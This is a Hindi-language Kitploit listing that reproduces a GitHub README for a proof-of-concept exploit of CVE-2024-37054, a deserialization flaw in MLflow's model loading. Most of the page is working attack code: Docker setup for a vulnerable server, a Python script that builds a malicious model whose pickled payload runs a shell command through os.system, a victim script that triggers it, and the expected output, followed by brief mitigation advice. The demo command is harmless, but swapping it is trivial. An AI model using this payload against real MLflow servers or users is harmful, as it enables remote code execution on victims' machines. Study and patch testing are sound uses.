Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, यह रिपॉजिटरी MLflow में एक गंभीर डिसीरियलाइज़ेशन भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल करता है जो रिमोट कोड निष्पादन (RCE) की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, यह रिपॉजिटरी MLflow में एक गंभीर डिसीरियलाइज़ेशन भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल करता है जो रिमोट कोड निष्पादन (RCE) की अनुमति देता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
30 साल पहलेअभी तक समीक्षित नहीं
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: MLflow रिमोट कोड निष्पादन (RCE) प्रूफ ऑफ कॉन्सेप्ट (PoC)

CVE License GitHub LinkedIn


यह रिपॉजिटरी CVE-2024-37054 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो MLflow में एक गंभीर डिसीरियलाइजेशन भेद्यता है, जो रिमोट कोड निष्पादन (RCE) की अनुमति देती है।

📚 विषय सूची

  • भेद्यता विवरण
  • प्रूफ ऑफ कॉन्सेप्ट (PoC)
  • शमन
  • संदर्भ
  • लेखक के बारे में

🚨 भेद्यता विवरण

  • CVE ID: CVE-2024-37054
  • सारांश: mlflow.pyfunc.load_model फ़ंक्शन में एक डिसीरियलाइजेशन भेद्यता मौजूद है। एक हमलावर एक दुर्भावनापूर्ण मॉडल बना सकता है जिसमें एक पिकल्ड पेलोड होता है। जब कोई पीड़ित इस मॉडल को लोड करता है, तो पेलोड cloudpickle.load के माध्यम से डिसीरियलाइज़ हो जाता है, जिससे पीड़ित की मशीन पर मनमाना कोड निष्पादन होता है।
  • प्रभावित उत्पाद: MLflow संस्करण 0.9.0 से लेकर 2.14.2 को छोड़कर।
  • कमजोर फ़ंक्शन: mlflow/pyfunc/model.py के अंदर _load_pyfunc।

🛠️ प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह PoC दो भूमिकाओं का अनुकरण करता है: एक हमलावर जो एक दुर्भावनापूर्ण मॉडल अपलोड करता है, और एक पीड़ित जो इसे लोड करता है, जिससे RCE ट्रिगर होता है।

1. वातावरण सेटअप

कमजोर MLflow सर्वर स्थापित करने का सबसे आसान तरीका प्रदान की गई Dockerfile का उपयोग करना है।

Docker कंटेनर बनाएं और चलाएं:

root@kitploit:~
# 1. Docker इमेज बनाएं
docker build -t mlflow-vulnerable .

# 2. कंटेनर चलाएं, पोर्ट 5000 को होस्ट पर मैप करते हुए
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

आपका कमजोर MLflow सर्वर अब http://127.0.0.1:5000 पर चल रहा है।

2. निष्पादन चरण

आपको अपने होस्ट मशीन पर दो अलग-अलग टर्मिनलों की आवश्यकता होगी। सुनिश्चित करें कि आपके पास क्लाइंट स्क्रिप्ट चलाने के लिए स्थानीय रूप से mlflow का एक कमजोर संस्करण स्थापित है (pip install mlflow==2.14.1)।

भाग 1: हमलावर - दुर्भावनापूर्ण मॉडल लॉग करें

अपने पहले टर्मिनल में, दुर्भावनापूर्ण मॉडल लॉग करने के लिए हमलावर की स्क्रिप्ट चलाएं।

हमलावर की स्क्रिप्ट देखने के लिए क्लिक करें (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# आपके MLflow ट्रैकिंग सर्वर का URI
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

इसे चलाएं:

root@kitploit:~
python poc/log_malicious_model.py

भाग 2: पीड़ित - कमजोर मॉडल लोड करें

अपने दूसरे टर्मिनल में, समझौता किए गए मॉडल को लोड करने का अनुकरण करने के लिए पीड़ित की स्क्रिप्ट चलाएं।

पीड़ित की स्क्रिप्ट देखने के लिए क्लिक करें (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

इसे चलाएं:

root@kitploit:~
python poc/load_vulnerable_model.py

3. परिणाम देखें

पीड़ित की स्क्रिप्ट चलाने के बाद, आप टर्मिनल में संदेश /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found देखेंगे, और आपकी निर्देशिका में pwned.txt नामक एक नई फ़ाइल बन जाएगी। यह सफल कमांड निष्पादन की पुष्टि करता है।


🛡️ शमन

  • MLflow अपग्रेड करें: संस्करण 2.14.2 या बाद में अपग्रेड करें, जहां इस भेद्यता को ठीक किया गया है।
  • अविश्वसनीय मॉडल कभी लोड न करें: केवल उन स्रोतों से ML मॉडल लोड करें जिन पर आप पूरी तरह से भरोसा करते हैं।

🔍 संदर्भ

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • मूल सलाह: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 लेखक के बारे में

यह प्रूफ ऑफ कॉन्सेप्ट पुजारी नितीश द्वारा विकसित किया गया था।

  • साइबर सुरक्षा अनुसंधान इंजीनियर
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • वेबसाइट: www.niteesh.in
टूल डाउनलोड करें